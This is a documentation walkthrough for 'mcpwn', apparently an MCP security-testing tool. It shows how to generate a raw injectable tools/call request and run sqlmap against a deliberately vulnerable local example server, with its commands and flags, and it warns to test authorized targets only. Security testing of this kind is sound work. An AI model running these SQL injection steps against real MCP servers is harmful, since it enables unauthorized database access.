Skip to content

SQL injection with sqlmap

A hands-on walkthrough against the bundled example server, whose lookup_user tool concatenates input straight into a SQL string. For the full flag reference, see the sqlmap command page.

Authorized targets only

The example server is intentionally vulnerable and safe to attack. Never point sqlmap at a server you do not own or have permission to test.

1. Start the vulnerable server

uv run python examples/vuln_server.py http      # http://127.0.0.1:8765/mcp/

2. Build the injectable request

Mark the name argument of lookup_user as the injection point:

uv run mcpwn sqlmap http://127.0.0.1:8765/mcp/ lookup_user --inject name -a name=admin

mcpwn will:

  1. Negotiate a session id — perform an initialize and capture Mcp-Session-Id (so a stateful server accepts the replay). If the server is stateless or the handshake fails, it simply proceeds without one.
  2. Write mcpwn_sqlmap.req — a raw tools/call request with name set to admin* (the * is sqlmap's injection marker).
  3. Print the sqlmap command to run.
POST /mcp/ HTTP/1.1
Host: 127.0.0.1:8765
Accept: application/json, text/event-stream
Content-Type: application/json
Connection: close
Mcp-Session-Id: 28f1c7d6...
Content-Length: 119

{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"lookup_user","arguments":{"name":"admin*"}}}

3. Run sqlmap

Let mcpwn launch sqlmap for you (it must be on your PATH). The bundled server is SQLite, so hint the DBMS to speed things up:

uv run mcpwn sqlmap http://127.0.0.1:8765/mcp/ lookup_user -i name --run \
    -s --dbms=sqlite -s --technique=BEU

Or run it yourself against the written file:

sqlmap -r mcpwn_sqlmap.req --batch --dbms=sqlite

If you omit your own -s flags, mcpwn adds a sensible first pass (--level=2 --risk=2).

4. (Optional) Watch it through Burp

Add the proxy flag to route sqlmap's traffic through Burp as well:

uv run mcpwn -x http://127.0.0.1:8080 sqlmap http://127.0.0.1:8765/mcp/ lookup_user -i name --run

Tips

  • Session trouble? Pass --session-id <id> to supply one manually, or --no-session to skip negotiation entirely (for stateless servers).
  • Other arguments: supply the tool's non-injected arguments with -a key=value (or --json); they are sent as-is while only --inject carries the * marker.
  • Custom output path: -o /tmp/req.txt writes the request elsewhere.